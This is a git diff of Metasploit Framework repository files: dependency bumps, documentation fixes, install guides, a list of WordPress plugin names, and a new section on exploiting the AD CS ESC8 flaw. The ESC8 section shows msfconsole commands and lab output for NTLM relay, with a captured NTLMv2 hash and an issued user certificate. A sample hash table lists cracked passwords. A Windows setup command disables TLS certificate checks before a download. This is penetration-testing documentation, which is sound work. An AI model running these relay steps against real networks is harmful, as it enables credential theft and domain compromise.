paid-memberships-pro
perfect-survey
photo-gallery
pie-register
wysija-newsletters
dzs-zoomsounds
all-in-one-wp-migration
wp-ultimate-csv-importer
wp-symposium
masterstudy-lms-learning-management-system
wp-gdpr-compliance
plainview-activity-monitor
post-smtp
really-simple-ssl
reflex-gallery
royal-elementor-addons
secure-copy-content-protection
sexy-contact-form
simple-backup
simple-file-list
slideshow-gallery
sp-client-document-manager
subscribe-to-comments
ultimate-member
website-contact-form-with-file-upload
woocommerce-abandoned-cart
woocommerce-payments
wordpress-mobile-pack
wordpress-popular-posts
work-the-flow-file-upload
wp-automatic
wp-easycart
dukapress
loginizer
email-subscribers
wps-hide-login
secure-copy-content-protection
wordpress-mobile-pack
learnpress
wp-mobile-edition
boldgrid-backup
modern-events-calendar-lite
gi-media-library
chopslider
bulletproof-security
nextgen-gallery
simple-backup
subscribe-to-comments
easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
hash-form
give
ultimate-member
wp-fastest-cache
wp-file-manager
wp-gdpr-compliance
wp-mobile-detector
wp-mobile-edition
wp-symposium
wp-symposium
wp-time-capsule
wp-ultimate-csv-importer
wpdiscuz
wps-hide-login
wpshop
wptouch
wysija-newsletters
+1 -1
View File
@@ -1,3 +1,3 @@
bricks
holding_pattern
wplms
bricks
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+10 -2
View File
@@ -1,2 +1,10 @@
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
This directory contains the following files:
- `modules_metadata_base.json`, which contains information about all modules within Metasploit.
- `schema.rb`, which is auto-generated from the current state of the database schema maintained by Rails ActiveRecord.
This file is auto-generated from the current state of the database.
`schema.rb` is the source Rails uses to define your schema when running `bin/rails db:schema:load`. When creating a new
database, `bin/rails db:schema:load` tends to be faster and is potentially less error-prone than running all of your
migrations from scratch. Old migrations may fail to apply correctly if those migrations use external dependencies or
application code. We _strongly_ recommend that you check this file into your version control system.
+10047 -2672
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1 +1 @@
3.1.5
3.2.5
+1
View File
@@ -6,6 +6,7 @@ gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom'
#gem 'just-the-docs', path: '../../just-the-docs'
gem 'webrick'
gem 'rexml'
gem 'jekyll-sass-converter', '~> 2.2.0'
group :jekyll_plugins do
gem 'jekyll-sitemap'
+21 -22
View File
@@ -12,22 +12,22 @@ GIT
GEM
remote: https://rubygems.org/
specs:
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
concurrent-ruby (1.1.10)
concurrent-ruby (1.3.4)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
eventmachine (1.2.7)
ffi (1.15.5)
ffi (1.17.0)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
i18n (1.12.0)
i18n (1.14.6)
concurrent-ruby (~> 1.0)
jekyll (4.3.1)
jekyll (4.3.4)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
@@ -53,46 +53,45 @@ GEM
jekyll (>= 3.7, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
kramdown (2.4.0)
rexml
kramdown (2.5.1)
rexml (>= 3.3.9)
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.1)
liquid (4.0.4)
listen (3.9.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.4.0)
method_source (1.0.0)
method_source (1.1.0)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
pry (0.14.1)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
rake (13.0.6)
public_suffix (6.0.1)
rake (13.2.1)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
rb-inotify (0.11.1)
ffi (~> 1.0)
rexml (3.3.6)
strscan
rouge (4.0.0)
rexml (3.4.0)
rouge (4.5.1)
safe_yaml (1.0.5)
sassc (2.4.0)
ffi (~> 1.9)
strscan (3.1.0)
terminal-table (3.0.2)
unicode-display_width (>= 1.1.1, < 3)
unicode-display_width (2.3.0)
webrick (1.7.0)
unicode-display_width (2.6.0)
webrick (1.9.1)
PLATFORMS
ruby
DEPENDENCIES
jekyll (~> 4.3.0)
jekyll-sass-converter (~> 2.2.0)
jekyll-sitemap
just-the-docs!
pry-byebug
@@ -103,4 +102,4 @@ DEPENDENCIES
webrick
BUNDLED WITH
2.2.22
2.5.10
@@ -146,7 +146,7 @@ register_options(
], self.class)
```
**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request**
**8. Neglecting to use send_request_cgi()'s vars_post or vars_get when crafting a POST/GET request**
```ruby
data_post = 'user=jsmith&pass=hello123'
@@ -199,4 +199,4 @@ Metasploit3.new
```ruby
# https://github.com/rapid7/metasploit-framework/issues/3853
datastore['BAD'] = 'This is bad.'
```
```
@@ -59,6 +59,7 @@ Example:
| CONFIG_CHANGES | Module modifies some config file |
| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) |
| ACCOUNT_LOCKOUTS | Module may cause an account to lock out |
| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)|
| SCREEN_EFFECTS | Module shows something on the screen that a human may notice |
| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) |
| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) |
@@ -112,6 +112,11 @@ end
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
### Non-required fields
* **Stance** - The types of stances an exploit can take, such as passive or aggressive. Stances indicate whether or not the module triggers the exploit without waiting for one or more conditions to be met (aggressive) or whether it must wait for certain conditions to be satisfied before the exploit can be initiated (passive). Passive exploits usually would wait for interaction from a client or other entity for being able to trigger the vulnerability.
* **Passive** - Either `true` or `false` indicates whether or not the exploit should be run as a background job. If for example you know the vulnerability takes an hour to trigger, setting `Passive` to `true` would be beneficial as it allows the user to continue using msfconsole while waiting for a response from the exploit.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
@@ -201,7 +201,7 @@ This data breaks down to the following table:
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password1! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
@@ -18,7 +18,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
The current configuration can be printed by running `dns print`:
```msf6
```msf
msf6 > dns print
Default search domain: N/A
Default search list: lab.lan
@@ -23,34 +23,27 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem.
## Install the Oracle Instant Client
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](https://www.oracle.com/database/technologies/instant-client/downloads.html) packages for your version of Kali Linux. The packages you will need are:
* instantclient-basic-linux-12.2.0.1.0.zip
* instantclient-sqlplus-linux-12.2.0.1.0.zip
* instantclient-sdk-linux-12.2.0.1.0.zip
* [instantclient-basic-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-basic-linux.x64-23.6.0.24.10.zip)
* [instantclient-sqlplus-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sqlplus-linux.x64-23.6.0.24.10.zip)
* [instantclient-sdk-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sdk-linux.x64-23.6.0.24.10.zip)
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle:
```
root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so
root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so
lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
```
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_23_6/`.
You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply.
```
export PATH=$PATH:/opt/oracle/instantclient_12_2
export SQLPATH=/opt/oracle/instantclient_12_2
export TNS_ADMIN=/opt/oracle/instantclient_12_2
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2
export ORACLE_HOME=/opt/oracle/instantclient_12_2
export PATH=$PATH:/opt/oracle/instantclient_23_6
export SQLPATH=/opt/oracle/instantclient_23_6
export TNS_ADMIN=/opt/oracle/instantclient_23_6
export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_6
export ORACLE_HOME=/opt/oracle/instantclient_23_6
```
If you have succeeded, you should be able to run `sqlplus` from a command prompt:
```
root@kali:/opt/oracle/instantclient_12_2# sqlplus
root@kali:/opt/oracle/instantclient_23_6# sqlplus
SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019
@@ -64,40 +57,40 @@ Enter user-name:
First, download and extract the gem source release:
```
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following]
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 [following]
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: 'ruby-oci8-2.2.7.zip'
Saving to: 'ruby-oci8-2.2.14.zip'
ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
ruby-oci8-2.2.14.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016]
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.14.zip' saved [386016]
root@kali:~# unzip ruby-oci8-2.2.7.zip
Archive: ruby-oci8-2.2.7.zip
root@kali:~# unzip ruby-oci8-2.2.14.zip
Archive: ruby-oci8-2.2.14.zip
0c85bf6da2f541de3236267b1a1b18f0136a8f5a
creating: ruby-oci8-ruby-oci8-2.2.7/
inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore
inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml
creating: ruby-oci8-ruby-oci8-2.2.14/
inflating: ruby-oci8-ruby-oci8-2.2.14/.gitignore
inflating: ruby-oci8-ruby-oci8-2.2.14/.travis.yml
[...]
inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/
inflating: ruby-oci8-ruby-oci8-2.2.14/test/test_rowid.rb
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.14/
```
Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it.
```
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# export PATH=/opt/metasploit/ruby/bin:$PATH
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# apt-get install libgmp-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
@@ -117,7 +110,7 @@ Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ...
Build and install the gem
```
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make
ruby -w setup.rb config
setup.rb:280: warning: assigned but unused variable - vname
setup.rb:280: warning: assigned but unused variable - desc
@@ -130,12 +123,12 @@ setup.rb:280: warning: assigned but unused variable - default2
<--- lib
---> ext
---> ext/oci8
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8/extconf.rb
checking for load library path...
LD_LIBRARY_PATH...
checking /opt/metasploit/ruby/lib... no
checking /opt/oracle/instantclient_12_2... yes
/opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client.
checking /opt/oracle/instantclient_23_6... yes
/opt/oracle/instantclient_23_6/libclntsh.so.12.1 looks like an instant client.
checking for cc... ok
checking for gcc... yes
checking for LP64... yes
@@ -144,11 +137,11 @@ checking for ruby header... ok
checking for OCIInitialize() in oci.h... yes
[...]
linking shared-object oci8lib_250.so
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8'
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8'
<--- ext/oci8
<--- ext
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make install
ruby -w setup.rb install
setup.rb:280: warning: assigned but unused variable - vname
setup.rb:280: warning: assigned but unused variable - desc
@@ -158,5 +151,5 @@ mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
[...]
<--- ext
root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
root@kali:~/ruby-oci8-ruby-oci8-2.2.14#
```
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
options](#Filtering-datastore-options) section for more information.
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
support gracefully checking a list of more generic fallbacks option names such as `Username`.
Now let's talk about what classes are available:
@@ -75,7 +75,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
- `ENUM_DOMAIN_CONTROLLERS` - Dump all known domain controllers.
- `ENUM_EXCHANGE_RECIPIENTS` - Dump info about all known Exchange recipients.
@@ -96,6 +96,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_USER_PASSWORD_NEVER_EXPIRES` - Dump info about all users whose password never expires.
- `ENUM_USER_PASSWORD_NOT_REQUIRED` - Dump info about all users whose password never expires and whose account is still enabled.
- `ENUM_USER_SPNS_KERBEROAST` - Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting.
- `ENUM_PRE_WINDOWS_2000_COMPUTERS` - Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable.
### Kerberos Authentication
@@ -169,7 +169,7 @@ Local File System Commands
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
auxiliary/admin/dcerpc/samr_computer
auxiliary/admin/dcerpc/samr_account
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
@@ -0,0 +1,41 @@
Payloads for Metasploit Framework can now be tested when opening pull requests. This is handled by GitHub actions within
our CI, this workflow will build the payloads using the appropriate repositories and branches. It will then run our
acceptance tests against those changes. This requires adding GitHub labels for each corresponding payload repository.
The labels will contain the `payload-testing` prefix, each supporting testing for an external repository:
- `payload-testing-branch` ([https://github.com/rapid7/metasploit-payloads/](https://github.com/rapid7/metasploit-payloads/))
- `payload-testing-mettle-branch` ([https://github.com/rapid7/mettle/](https://github.com/rapid7/mettle/))
**_Note_**:
The long term aim is supporting workflow dispatches for this job, but that is currently not working as expected. So as a
work-around we will need to edit the workflow locally. Once the testing has been completed ensure the following locally
changes are reverted before merging.
Once the appropriate repository label is added, you will need to edit the GitHub workflow to point at the specific
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
the following lines like so:
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
```yaml
repository: foo-r7/metasploit-framework
```
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
```yaml
ref: fixes-all-the-bugs
```
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
```yaml
repository: foo-r7/metasploit-payloads
```
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
```yaml
ref: fixes-all-the-payload-bugs
```
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
following lines would need updated:
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
@@ -10,6 +10,10 @@ flowchart TD
update_template[<i>Update Template</i>]
ESC4 -- abuse privileges --> update_template
end
subgraph relay/esc8[<b>relay/esc8</b>]
ESC8(ESC8)
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
@@ -45,11 +49,12 @@ flowchart TD
normal --> PKINIT
normal --> SCHANNEL
update_template --> ESC1
web_enrollment --> PKINIT
web_enrollment --> SCHANNEL
```
The chart above showcases how one can go about attacking five unique AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server.
The following sections will walk through each of these steps, starting with enumerating
certificate templates that the server has to offer and identifying those that are
@@ -81,6 +86,7 @@ attacks that they found they could conduct via misconfigured certificate templat
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
- ESC7 - Vulnerable Certificate Authority Access Control
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc8]]
Later, additional techniques were disclosed by security researchers:
@@ -110,8 +116,8 @@ Later, additional techniques were disclosed by security researchers:
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC13 and ESC15. As such,
this page only covers exploiting ESC1 through ESC4, ESC13 and ESC15 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
covers exploiting that subset of ESC flaws.
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -866,6 +872,55 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.
# Exploiting ESC8
ESC8 leverages relaying NTLM authentication from an SMB server (running on Metasploit) to the HTTP(S) AD CS Web
Enrollment portal running on a remote target. The attacker will need to coerce a client with privileges to authenticate
to the target portal to authenticate to Metasploit instead. This can be achieved via a few techniques, including name
poisoning via the `capture` plugin, coercion via the `auxiliary/scanner/dcerpc/petitpotam` module, or even a well placed
UNC path. Once authentication has been relayed and an authorized HTTP session has been established, the attacker can
query available certificate templates as well as issue them.
Exploitation of this flaw is facilitated through the `auxiliary/server/relay/esc8` module which handles starting the SMB
relay server and enables configuration of what happens when relaying is successful. Users can select from different
operational "modes" via the MODE datastore option which controls what the module will do. For a full description, see
the modules documentation. The default mode, "AUTO" will issue a User certificate if the relayed connection is for a
user account or a Machine certificate if it's for a machine account. Once this certificate has been issued, it can be
used for authentication. See the [Authenticating With A Certificate](#authenticating-with-a-certificate) section for
more information.
In the following example the AUTO mode is used to issue a certificate for the MSFLAB\smcintyre once they have
authenticated.
```msf
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Relaying to next target http://172.30.239.85:80/certsrv/
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://172.30.239.85:80/certsrv/
[SMB] NTLMv2-SSP Client : 172.30.239.85
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
[*] Creating certificate request for MSFLAB\smcintyre using the User template
[*] Generating CSR...
[*] CSR Generated
[*] Requesting relay target generate certificate...
[+] Certificate generated using template User and MSFLAB\smcintyre
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_172.30.239.85_windows.ad.cs_995918.pfx
[*] Relay tasks complete; waiting for next login attempt.
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -873,7 +928,7 @@ administrative privileges, rather the privileges that are gained are those of th
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
@@ -112,3 +112,19 @@ The following steps assume that you have installed an AD CS on either a new or e
6. Click `Apply` and then click `OK` to issue the certificate.
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC8 Vulnerable Host
1. Follow instructions for creating an AD CS enabled server
2. Select Add Roles and Features
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
4. For each selection, accept the default for any pop-up.
5. Accept the default features and install.
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
7. Under Credentials, accept the default
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
9. In CA for CES, accept the defaults
10. In Authentication Types, accept the default integrated authentication
11. In Service account for CES, select `Use built-in application pool identity`
12. Accept default integrated authentication for CEP
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
14. Accept the remaining defaults.
@@ -30,10 +30,29 @@ sudo apt update && sudo apt install -y git autoconf build-essential libpcap-dev
### Windows
If you are running a Windows machine
#### Windows 10 or above
* Install [chocolatey](https://chocolatey.org/)
* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.0.3-1/rubyinstaller-devkit-3.0.3-1-x64.exe)
* Install [winget](https://learn.microsoft.com/en-us/windows/package-manager/winget/)
* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe)
* Install pcaprub dependencies from your PowerShell terminal:
```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')
Expand-Archive -Path "C:\Windows\Temp\WpdPack_4_1_2.zip" -DestinationPath "C:\"
```
Install a version of PostgreSQL:
```
Install-Module -Name Microsoft.WinGet.Client
Install-WinGetPackage -id PostgreSQL.PostgreSQL.17
```
